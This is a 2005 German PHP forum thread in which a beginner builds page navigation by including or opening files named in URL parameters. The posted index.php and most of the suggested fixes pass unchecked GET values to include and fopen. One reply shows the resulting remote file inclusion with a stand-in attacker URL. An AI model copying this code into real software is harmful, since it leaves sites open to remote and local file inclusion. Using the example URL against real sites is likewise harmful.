Home | Registrieren | Einloggen | Suchen | Aktuelles


Forum » PHP & MySQL » problem mit verlinkung Antworten
problem mit verlinkung

Maschinenengel
Pixelschubser


Beiträge: 6


also ich hätte da eine frage.
ich habe meine komplette seite jetzt auf php umgecodet und meine navigation genau so angepasst wie im tutorial für die includierung von seiten erklärt.
jetzt habe ich ein problem.
also am besten hier meine seite www.sirius-hq.de.vu
die verlinkung auf den bereich "schiffe" ist dann index.php?menu=schiffe
wie mache ich das jetzt wenn ich auf ein schiff klicke das dann sowas kommt index.php?menu=schiffe&schiff=patriot
so dass dann die schiffsbeschreibung rechts neben der schiffsauswahl ist?
ich habe es probiert in dem quelltext von der "schiffe.php" mit
<?php
if ($schiff=="") $schiff="patriot.php";
?>
und dann am ende der seite eine neue tabledata mit
<?php
include($schiff);
?>
so dass dann beim öffnen der schiffe.php direkt die patriot.php eingefügt wird.
das hat auch geklappt.
nur wie mache ich das wenn ich das schiff darunter (defender.php) in den platz von $schiff eingefügt haben will?
da habe ich es mit dem link index.php?menu=schiffe&schiff=defender versucht, aber dann kommt ne fehlermeldung.
wäre geil wenn ihr mir schreiben würdet wie das nun funktioniert.
greetz:
Maschinenengel

  Profil   Editieren   Zitieren

chip
Quasselstrippe


Beiträge: 391


Da du ja die Variable $schiff nimmst, und dafür eine if-Abfrage ob $schiff leer ist, muss der Link so aussehen: index.php?menu=schiffe&schiff=defender.php oder du schreibst den include-Befehl so um, dass das .php automatisch angefügt wird, also so:
1: 
2: 
3:
<?php
include($schiff.".php");
?>


// EDIT: Zur Erklärung: Wenn du der Variablen $schiff den Wert "defender" übergibst, wird im include-Befehl nach einer Datei namens "defender" gesucht. Aber die Datei heißt ja "defender.php".

Übrigens solltest du register_globals auf off stellen, um Sicherheitslücken zu vermeiden. Die per GET übergebenen Variablen werden dann per $_GET['variable'] angesprochen.

---

Diese Nachricht wurde geändert von: chip
  Profil   Website   Editieren   Zitieren

subjective
Forenheld


Beiträge: 848


Wunderbarer Tipp mit dem register_globals off - es hilft tatsächlich potentielle Fehlerquellen zu vermindern.

Da man sich jedoch nicht immer aussuchen kann, wo das Script läuft, sollte man zwar so entwickeln, aber auch dafür sorgen, dass es mit aktiviertem register_globals läuft.

Dazu hast du wunderbar gezeigt wie man das Sicherheitsloch einbaut. Wenn ich nämlich als URL index.php?menu=schiffe&schiff=http://domain.tld/boese/script.txt/ nutze, wird der Quellcode der fremden Seite eingebunden. Dies funktioniert auch wenn register_globals aus ist. Es kommt nur auf die mangelhafte Prüfung an.

---
Weaverslave

Diese Nachricht wurde geändert von: subjective
  Profil   Website   Editieren   Zitieren

Maschinenengel
Pixelschubser


Beiträge: 6


wenns denn funktionieren würde...
bitte einmal erklären warum das nicht funzt www.sirius-hq.de.vu
dass er automatisch die patriot.php einbindet beim aufrufen der schiffe.php funzt, aber wenn ich die links für die schiffe benutze funzt das nicht.
wenn man zum beispiel auf den defender klickt!

  Profil   Editieren   Zitieren

languitar
Foren-Team


Beiträge: 2795


Du müsstest uns schon den Code hier her posten (bitte im [code]-Block formatiert)

---
Take a look here!
Lichtblick - Einblick - Ausblick

  Profil   E-Mail   Website   Editieren   Zitieren

chip
Quasselstrippe


Beiträge: 391


subjective schrieb am 08.08.2005 10:42
Dazu hast du wunderbar gezeigt wie man das Sicherheitsloch einbaut. Wenn ich nämlich als URL index.php?menu=schiffe&schiff=http://domain.tld/boese/script.txt/ nutze, wird der Quellcode der fremden Seite eingebunden. Dies funktioniert auch wenn register_globals aus ist. Es kommt nur auf die mangelhafte Prüfung an.


Ich würde es ja auch nicht so machen . Ich wollte nur den Tipp geben, wie's in dem Beispiel funzt.

---

  Profil   Website   Editieren   Zitieren

Maschinenengel
Pixelschubser


Beiträge: 6


das ist mein index.php
1: 
2: 
3: 
4: 
5: 
6: 
7: 
8: 
9: 
10: 
11: 
12: 
13: 
14: 
15: 
16: 
17: 
18: 
19: 
20: 
21: 
22: 
23: 
24: 
25: 
26: 
27: 
28: 
29: 
30: 
31: 
32: 
33: 
34: 
35: 
36: 
37: 
38: 
39: 
40: 
41: 
42: 
43: 
44: 
45: 
46: 
47: 
48: 
49: 
50: 
51: 
52: 
53: 
54: 
55: 
56: 
57: 
58: 
59: 
60: 
61: 
62: 
63: 
64: 
65: 
66: 
67: 
68: 
69: 
70: 
71: 
72: 
73: 
74: 
75: 
76: 
77: 
78: 
79: 
80: 
81: 
82: 
83: 
84: 
85: 
86: 
87: 
88: 
89: 
90: 
91: 
92: 
93: 
94: 
95: 
96: 
97: 
98: 
99: 
100: 
101: 
102: 
103: 
104: 
105: 
106: 
107: 
108: 
109: 
110: 
111: 
112: 
113: 
114: 
115: 
116: 
117: 
118: 
119: 
120: 
121: 
122: 
123: 
124: 
125: 
126: 
127: 
128: 
129: 
130: 
131: 
132: 
133: 
134:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0//DE">
<html>
 <head>
  <title>Sirius-HQ</title>
   <meta name="author" content="Masao Kusanagi">
   <meta name="publisher" content="Masao Kusanagi">
   <meta name="copyright" content="Masao Kusanagi">
   <meta name="description" content="Freelancer Modding Website">
   <meta name="keywords" content="Freelancer, Mods, Modding, Tutorials, Downloads">

   <?php
    if ($menu=="")
    {
       $menu="home.php";
       $system="leer.php";
       $schiff="leer.php";
    }
    elseif ($menu=="galaxie.php")
    {
       $system="alaska.php";
       $schiff="leer.php";
    }
    elseif ($menu=="schiffe.php")
    {
       $system="leer.php";
       $schiff="adler.php";
    }
    else
    {
       $system="leer.php";
       $schiff="leer.php";
    }
   ?>

   <script type="text/javascript">
   <!--
   Normal1 = new Image();
   Normal1.src = "./images/home.jpg";
   Highlight1 = new Image();
   Highlight1.src = "./images/home2.jpg";

   Normal2 = new Image();
   Normal2.src = "./images/galaxie.jpg";
   Highlight2 = new Image();
   Highlight2.src = "./images/galaxie2.jpg";

   Normal3 = new Image();
   Normal3.src = "./images/schiffe.jpg";
   Highlight3 = new Image();
   Highlight3.src = "./images/schiffe2.jpg";

   Normal4 = new Image();
   Normal4.src = "./images/waffen.jpg";
   Highlight4 = new Image();
   Highlight4.src = "./images/waffen2.jpg";

   Normal5 = new Image();
   Normal5.src = "./images/modding.jpg";
   Highlight5 = new Image();
   Highlight5.src = "./images/modding2.jpg";

   Normal6 = new Image();
   Normal6.src = "./images/downloads.jpg";
   Highlight6 = new Image();
   Highlight6.src = "./images/downloads2.jpg";
   function Bildwechsel(Bildnr,Bildobjekt) {
    window.document.images[Bildnr].src = Bildobjekt.src;
   }
   //-->
   </script>

   <link rel="stylesheet" type="text/css" href="./style.css">

 </head>
 <body>
  <table height="100px">
   <tr>
    <td>
    </td>
   </tr>
  </table>
  <table width="100%" height="300px">
   <tr>
    <td valign="top" width="110px">
     <table cellspacing="0" cellpadding="0">
      <tr>
       <td>
        <a href="index.php?menu=home.php" onMouseOver="Bildwechsel(0,Highlight1)" onMouseOut="Bildwechsel(0,Normal1)"><img src="./images/home.jpg" border="0"></a>
        <a href="index.php?menu=galaxie.php" onMouseOver="Bildwechsel(1,Highlight2)" onMouseOut="Bildwechsel(1,Normal2)"><img src="./images/galaxie.jpg" border="0"></a>
        <a href="index.php?menu=schiffe.php" onMouseOver="Bildwechsel(2,Highlight3)" onMouseOut="Bildwechsel(2,Normal3)"><img src="./images/schiffe.jpg" border="0"></a>
        <a href="index.php?menu=waffen.php" onMouseOver="Bildwechsel(3,Highlight4)" onMouseOut="Bildwechsel(3,Normal4)"><img src="./images/waffen.jpg" border="0"></a>
        <a href="index.php?menu=modding.php" onMouseOver="Bildwechsel(4,Highlight5)" onMouseOut="Bildwechsel(4,Normal5)"><img src="./images/modding.jpg" border="0"></a>
        <a href="index.php?menu=downloads.php" onMouseOver="Bildwechsel(5,Highlight6)" onMouseOut="Bildwechsel(5,Normal6)"><img src="./images/downloads.jpg" border="0"></a>
       </td>
      </tr>
     </table>
    </td>
    <td valign="top">
     <table cellspacing="20" cellpadding="0">
      <tr>
       <?php
       {
         $fd = fopen($menu, "r");
         while (!feof($fd))
         {
           echo fgets($fd, 4096);
         }
         fclose ($fd);
       }
       {
         $fd = fopen($system, "r");
         while (!feof($fd))
         {
           echo fgets($fd, 4096);
         }
         fclose ($fd);
       }
       {
         $fd = fopen($schiff, "r");
         while (!feof($fd))
         {
           echo fgets($fd, 4096);
         }
         fclose ($fd);
       }
       ?>

      </tr>
     </table>
    </td>
   </tr>
  </table>
 </body>
</html>

und soweit funzt das jetzt auch, aber die links wieder nicht.
ich habe erst gedacht das liegt daran dass ich am anfang den wert adler.php gegeben habe und sie so dann nicht mehr geändert werden kann, aber das ist ja eine normale variable also müsste sich der wert $schiff dann mit index.php?menu=schiffe.php&schiff=patriot.php ändern lassen.
und noch eine frage. auf vielen websites hab ich gesehen dass dort nur (eigenes beispiel) index.php?menu=schiffe&schif=patriot steht. also ohne php endungen.
das habe ich auch ausprobiert, aber dann funzt garnichts...
wie geht das dass die php endungen einfach wegfallen?

Diese Nachricht wurde geändert von: Maschinenengel
  Profil   Editieren   Zitieren

chip
Quasselstrippe


Beiträge: 391


und noch eine frage. auf vielen websites hab ich gesehen dass dort nur (eigenes beispiel) index.php?menu=schiffe&schif=patriot steht. also ohne php endungen.
das habe ich auch ausprobiert, aber dann funzt garnichts...
wie geht das dass die php endungen einfach wegfallen?


Genau wie ich gesagt habe, müsste es in Zeile 119 heißen:

1:
$fd = fopen($schiff.".php", "r");


Allerdings beinhaltet dies auch enorme Sicherheitsrisiken, wie oben beschrieben.

ich habe erst gedacht das liegt daran dass ich am anfang den wert adler.php gegeben habe und sie so dann nicht mehr geändert werden kann, aber das ist ja eine normale variable also müsste sich der wert $schiff dann mit index.php?menu=schiffe.php&schiff=patriot.php ändern lassen.


Das könnte wiederum daran liegen, dass bei dir register_globals schon auf off gesetzt ist. Versuche die Variable über $_GET['schiff'] anzusprechen – nicht nur über $schiff.

---

Diese Nachricht wurde geändert von: chip
  Profil   Website   Editieren   Zitieren

Maschinenengel
Pixelschubser


Beiträge: 6


bitte einmal erläutern was es mit dem $_GET['schiff'] auf sich hat.
wo muss ich das einbinden???

  Profil   Editieren   Zitieren

languitar
Foren-Team


Beiträge: 2795



  Profil   E-Mail   Website   Editieren   Zitieren

Maschinenengel
Pixelschubser


Beiträge: 6


naja, das hat mich nicht viel weiter gebracht...
ich habe keine ahnung wo ich das $_GET['schiff'] hin packen soll.
oder soll ich nur alle $schiff durch $_GET['schiff'] ersetzen???

  Profil   Editieren   Zitieren

chip
Quasselstrippe


Beiträge: 391


Maschinenengel schrieb am 10.08.2005 11:26
oder soll ich nur alle $schiff durch $_GET['schiff'] ersetzen???


Jap, genau das. Damit solltest du nix verkehrt machen können.


---

  Profil   Website   Editieren   Zitieren
 

Antworten
Nach oben